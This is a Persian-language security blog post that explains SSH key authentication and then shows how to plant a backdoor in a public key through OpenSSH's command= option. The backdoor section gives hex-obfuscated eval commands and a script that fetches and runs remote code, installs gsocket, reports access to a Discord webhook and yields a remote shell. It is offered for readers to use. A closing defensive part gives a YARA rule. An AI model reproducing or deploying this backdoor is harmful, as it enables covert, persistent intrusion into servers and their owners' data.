فرض کنید یه بکدور دارید که می خوایید در یه سرور قرار بدید تا بتونید روش دستوراتتون اجرا کنید. حالا به این فکر کنید که این بکدور رو داخل کلید عمومی SSH قرار بدید و با لاگین کردن به سرور، اونو فعال کنید. در این پست ابتدا مفاهیم اولیه در خصوص SSH و ایجاد کلید SSH key رو پوشش میدیم و در ادامه نحوه آلوده کردن ، کلید عمومی رو بررسی میکنیم.
پروتکل SSH :
SSH یا Secure Shell یا Secure Socket Shell ، یه پروتکل شبکه ای هست ، که امکان ایجاد یه بستر امن بین کلاینت و سرور رو فراهم میکنه. اغلب از این پروتکل ،برای ایجاد ارتباط با سرورهای لینوکسی و کار روی اونا استفاده میکنیم.
این بستر امن بین کلاینت و سرور، با رمزنگاری ارتباط ، فراهم میشه. یعنی داده ها در کلاینت رمز و به سرور ارسال ، و در سرور رمزگشایی میشن. الگوریتمهایی هم که برای رمزنگاری داده استفاده میشن، اغلب الگوریتم های پیچیده ای هستن. خوبی این پروتکل اینه که کاربر درگیر مسائل رمزنگاری نیست و همه این کارها اون پشت انجام میشه.
SSH دو نسخه اصلی به نامهای SSH1 یا SSH-1 و SSH2 یا SSH-2 داره و پورت استانداردش هم 22 هست. نسخه اول در سال 1995 توسط Tatu Ylonen معرفی شد اما به دلایل مشکلاتی که داشت در سال 2006 نسخه 2 این پروتکل معرفی شد که البته یه نسخه تجاری بود. بعدها توسعه دهدنگان OpenBSD ، دوباره نسخه اول SSH رو بازنویسی کردن و یه نسخه رایگان بنام OpenSSH توسعه دادن.
ابزارهای اتصال :
برای اینکه بتونیم به یه سروری که روش SSH فعاله وصل بشیم، راهها و ابزارهای مختلفی وجود داره. یکی از معروفترین روشها استفاده از ابزار Putty هستش. در این ابزار میشه به راحتی با وارد کردن IP و پورت سرور و در ادامه نام کاربری و پسورد اتصال ایمن رو برقرار کرد.
یه ابزار گرافیکی دیگه که امکان اتصال به SSH رو میده ، MobaXterm هستش :
همچنین ابزارهای کامندلاینی هم برای اینکار وجود داره، از جمله SSH در پاورشل ویندوز :
نحوه اتصال :
اما سوای داشتن یه ابزار برای اتصال ، دو روش هم برای احراز هویت وجود داره. ساده ترین روش استفاده از پسورد هستش. این روش یسری مشکلات داره از جمله اینکه میشه با حملاتی مثله بروت فورس ،پسورد کرکشون کرد و بدستش آورد.
روش دیگه برای احرازهویت استفاده از کلیدهای SSH هستش. این کلیدها از دوجفت کلید عمومی و خصوصی تشکیل میشن. کلید عمومی در سرور قرار میگیره و کلید خصوصی در کلاینت.
برای دسترسی به این کلیدها دو روش وجود داره، یه روش اینکه دنبال کلیدهای موجود بگردیم و از اونا استفاده کنیم و روش دوم اینه که یه کلید جدید بسازیم.
برای دسترسی به کلیدهای SSH موجود باید به فولدر .ssh
که در لینوکس در مسیر /home/username/.ssh
و در ویندوز در مسیر C:\Users\username\.ssh
هست مراجعه کنیم. در این مسیر دو تا فایل ،بنامهای id_rsa.pub
که برای کلید عمومی و id_rsa
که برای کلید خصوصی هستش و کلیدهای SSH ما رو تشکیل میدن.
اما اگه فایلی پیدا نشد یا شما خواستید کلید جدیدی رو ایجاد کنید ، از ابزار ssh-keygen
استفاده می کنیم. با زدن این دستور، در ابتدا مسیری برای ذخیره کلیدها از ما می خواد :
1 2 |
Generating public/private rsa key pair. Enter file in which to save the key (/home/username/.ssh/id_rsa): |
اگه مسیر پیش فرض مورد تایید بود که اینتر بزنید اما اگه نه، مسیر جدیدی رو بهش بدید. توصیه شده بهتره که از همین مسیر استفاده کنید.
در ادامه اگه قبلا کلیدی در این مسیر داشته باشید یه هشداری مشابه زیر میگیرید که میخواد روی این کلیدها بنویسه. نکته اینه که با این کار کلیدهای قبلیتون رو از دست میدید.
1 2 |
/home/username/.ssh/id_rsa already exists. Overwrite (y/n)? |
در ادامه از شما خواسته میشه که روی کلید خصوصیتون پسورد بزارید. این عمل اختیاری و برای امنیت بیشتر هستش. با هربار لاگین باید این پسورد بزنید. اما اگه کلید خصوصیتون رو دست به دست بشه، بدون این پسورد کاری نمیشه کرد.
1 2 3 |
Created directory '/home/username/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: |
اگه پسورد رو نخواستید اینتر بزنید و اگه خواستید که پسورد مورد نظرتون رو وارد کنید.
اگه همه مراحل رو درست رفته باشید، خروجی مشابه زیر میگیرید :
1 2 3 4 5 6 7 8 9 10 11 12 |
Your identification has been saved in /home/username/.ssh/id_rsa. Your public key has been saved in /home/username/.ssh/id_rsa.pub. The key fingerprint is: SHA256:CAjsV9M/tt5svvZJYBs username@hostname The key's randomart image is: +---[RSA 3072]----+ | o o +o.o.+... | |. . + oE.o.o . | | . .=S.+ + | | . o..* | | .oo+ | +----[SHA256]-----+ |
در این مرحله ما کلیدهای SSH داریم. اما برای تکمیل ، نیاز هستش که کلید عمومی رو به سرور انتقال بدیم. در حقیقت سرور از طریق کلید عمومی ، کلید خصوصی و در نهایت ما رو تایید میکنه. برای این کار نیاز هستش که ما کلید عمومی رو به home/username/.ssh/authorized_keys
اضافه کنیم. این فایل شامل همه کلیدهای عمومی هستش. برای اینکه کلید عمومی رو به این فایل اضافه کنیم دو روش وجود داره :
ساده ترین روش استفاده از ابزار ssh-copy-id هستش :
1 |
ssh-copy-id -i ~/.ssh/id_rsa.pub username@hostname |
اما اگه خواستید از روش دستی استفاده کنید ، مراحل زیر رو طی کنید :
محتوای کلید عمومی که بصورت زیر هستش :
1 |
ssh-rsa ozMUOAOFC9zYbXHfYnmReeGVKu....YBRcsYZ1iQdqb username@hostname |
کپی میکنیم و به انتهای authorized_keys اضافه میکنیم. البته میتونید این کار رو با استفاده از اسکریپت Bash زیر هم انجام بدید :
1 |
cat ~/.ssh/id_rsa.pub | ssh username@hostname "mkdir -p ~/.ssh && chmod 700 ~/.ssh && cat >> ~/.ssh/authorized_keys" |
اگه همه مراحل رو درست رفته باشید، الان میتونید به سادگی وصل بشید : (hostname همون IP )
1 |
ssh username@hostname |
اگه کلید خصوصی رو جای دیگه ای قرار داده باشید میتونید از دستور زیر استفاده کنید :
1 |
$ ssh -i /jaye_digeh/id_rsa username@hostname |
بکدوری کردن کلید عمومی :
خب بعد از این همه مقدمه، میرسیم به نحوه سوء استفاده از کلیدهای عمومی. همونطور که بالا مشاهده کردید، کلید عمومی به سرور انتقال داده میشه، بنابراین اگه مهاجمی این کلید رو با یه بکدور آلوده کنه، میتونه به سرور دسترسی داشته باشه. اما سوالی که شاید همین اول به ذهنتون بیاد اینه که وقتی ما به یه سروری امکان اتصال SSH داریم ، چرا اصلا نیاز به بکدور داریم؟
این کار دلایل مختلفی میتونه داشته باشه، ممکنه شما بصورت موقت به سرور دسترسی دارید و بکدور میتونه کار شما رو راه بندازه. نکته بعدی اینه که کسی نمیاد کلیدهای عمومی رو برای بکدور بررسی کنه و بنابراین یه جای امن هستش. نکته بعدی هم این که اگه طرف از همون کلیدها در سرورهای بعدی استفاده کنه، بنابراین آلودگی قابل انتشار هستش.
آلوده کردن کلید عمومی با بکدور، همونطور که در بالا اشاره کردیم از دو طریق فراهم میشه، یا بکدور در id_rsa.pub قرار میگیره که در کلاینت هستش ، یا در فایل authorized_keys اضافه میشه که در سرور هستش. توجه کنید که بکدور ما در نهایت از سرور دسترسی میده.
برای آلوده کردن کلید عمومی ، از یه ویژگی در OpenSSH ، بنام command ، استفاده میکنیم. این ویژگی هنگام لاگین کردن کاربر مورد استفاده قرار میگیره. مثلا AWS از این ویژگی بعنوان یه هشدار استفاده میکنه و به کاربر اطلاع میده که با کاربر root لاگین نکنه :
1 |
no-port-forwarding,no-agent-forwarding,command="echo 'Please login as the user \"ubuntu\" rather than the user \"root\".';echo;sleep 10;exit 142" ssh-ed25519 AAAA... |
خب برای درک نحوه استفاده از ویژگی command، کارمون و با یه مثال ساده جلو می بریم. فرض کنید ، میخواییم دستور زیر رو بعد از لاگین شدن کاربر اجرا کنیم :
1 |
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 6563686f206f6e68657867726f75702e69720a|xxd -r -ps)" ssh-ed25519 AAAAC3Nzblah.... |
قسمت اول ، no-user-rc
و no-X11-forwarding
جزء ویژگی های خود SSH هستش که اینجا صرفا برای این استفاده شده که ، تشخیص command سختتر کنه.
قسمت دوم که مهمترین بخش هستش، دستور command هستش که بصورت زیر داریمش :
1 |
command="`###---POWERSHELL---`;eval $(echo 6563686f206f6e68657867726f75702e69720a|xxd -r -ps)" |
OpenSSH دستوراتی که بین “” قرار گرفته رو اجرا میکنه. بنابراین بعد از command=
، دستورات رو بین “” قرار میدیم.
قسمتی که با
مشخص شده، کار خاصی انجام نمیده و صرفا برای دور کردن چشم ها از دستورات بعدی هستش.###---POWERSHELL---
در ادامه دستور eval اومده. این دستور در لینوکس امکان اجرای دستورات از داخل یه متغیر رو میده و اغلب تو اسکریپت نویسی کاربرد داره. یعنی اگه دستور زیر رو اجرا کنیم :
1 |
eval $(echo ls) |
خروجی همون دستور ls رو میده :
اما برای اینکه بتونیم، دوباره ، دستورات دلخواهمون رو پنهون کنیم، میتونیم اونارو به هگز تبدیل کنیم و موقع اجرا از هگز به اسکی تبدیل کنیم و بدیم eval برامون اجرا کنه. تبدیل اسکی به هگز که ساده هستش مثلا میتونید از این ابزار انلاین استفاده کنید یا در لینوکس از طریق xxd میشه هگز به اسکی و اسکی رو به هگز تبدیل کنیم.
در مثال ما هدف ما چاپ رشته onhexgroup.ir با eval هستش. برای چاپ که از دستور echo استفاده میکنیم، بنابراین با دستور زیر، مقدار هگز دستور اجراییمون رو بدست میاریم:
1 |
echo "echo onhexgroup.ir" | xxd -p |
echo اول برای پاس دادن رشته به xxd هستش. echo دوم بعنوان دستور اجرایی برای eval هستش. اگه این نزاریم، eval خطایی میده که دستوری بنام onhexgroup.ir نداریم. خروجی دستور بالا :
پس اگه مثال خودمون اجرا کنیم :
1 |
eval $(echo 6563686f206f6e68657867726f75702e69720a|xxd -r -ps) |
خروجی زیر داریم :
بعد از دستور command ، عبارتی داریم بصورت ssh-ed25519 AAAAC3Nzblah که این همون کلید عمومی هستش. یعنی این کارایی که کردیم تا الان، به ابتدای کلید عمومی اضافه میکنیم.
بعد از اینکه یه مثال ساده رو انجام دادیم، که فقط یه رشته رو چاپ میکنه، در ادامه مثال رو پیچیده تر میکنیم و از یه بکدور بجای چاپ رشته استفاده میکنیم.
کد اصلی بکدور بصورت زیر هستش :
1 2 3 4 5 6 7 8 9 10 |
[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && { touch -r /bin/sh .ssh export KEY="" bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0 } >/dev/null 2>/dev/null & [[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND [[ -z $SHELL ]] && SHELL=/bin/bash [[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic [[ -f /etc/motd ]] && cat /etc/motd exec -a -$(basename $SHELL) $SHELL |
این کد در ابتدا وضعیت زمانی /bin/sh
و ~/.ssh
رو بررسی میکنه ، این کار به این دلیل میکنه که، میخواد فقط یکبار اجرا بشه و با هربار لاگین شدن کاربر، اجرا نشه.
در ادامه میاد sshx رو دانلود و اجرا میکنه. این اسکریپت که در مموری اجرا میشه، gsocket رو نصب میکنه. اگه نصب موفقیت آمیز باشه، اطلاعات ورود رو به دیسکورد می فرسته. برای همین نیاز هستش در کد بالا ،قسمت KEY رو با webhooks key خودتون جاگذاری کنید.
اگه همه چی اوکی باشه، پیامی مشابه پیام زیر در دیسکورد دریافت میکنید :
اگه gsocket رو در سیستمتون نصب شده داشته باشید، میتونید از ابزار gs-netcat که یه netcat با رمزنگاری AES-256 هست، استفاده کنید و دستوراتتون رو اجرا کنید :
1 |
gs-netcat -i -s 8q9NEpvha567567j1WtWQVhj2 |
برای راحتی کار ، یه اسکریپتی هم نوشته شده که میتونید باهاش بکدور خودتون رو ایجاد کنید و در کلید عمومی قرار بدید.
روش های دفاعی :
همونطور که بالا مشاهده کردید، کلیدهای عمومی هم قابل بهره برداری توسط هکرها هستن و نمیشه اونارو با دید یه منطقه امن در نظر گرفت. بنابراین موقع اضافه کردن SSH keyها به این نکته توجه کنید که حاوی command نباشه. همچنین بهتره که بصورت دوره ای ، authorized_keys رو هم بررسی کنید ،تا کلیدهای عمومی حاوی command نباشن.
همچنین میتونید از رول Yara زیر هم برای بررسی استفاده کنید :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
rule ssh_public_key_infected { meta: description = "SSH Public Key is infected to backdoor or ... ." ref = "https://blog.thc.org/infecting-ssh-public-keys-with-backdoors" author = "seyyid" site = "onhexgroup.ir" strings: $backdoor = "command=" condition: $backdoor } |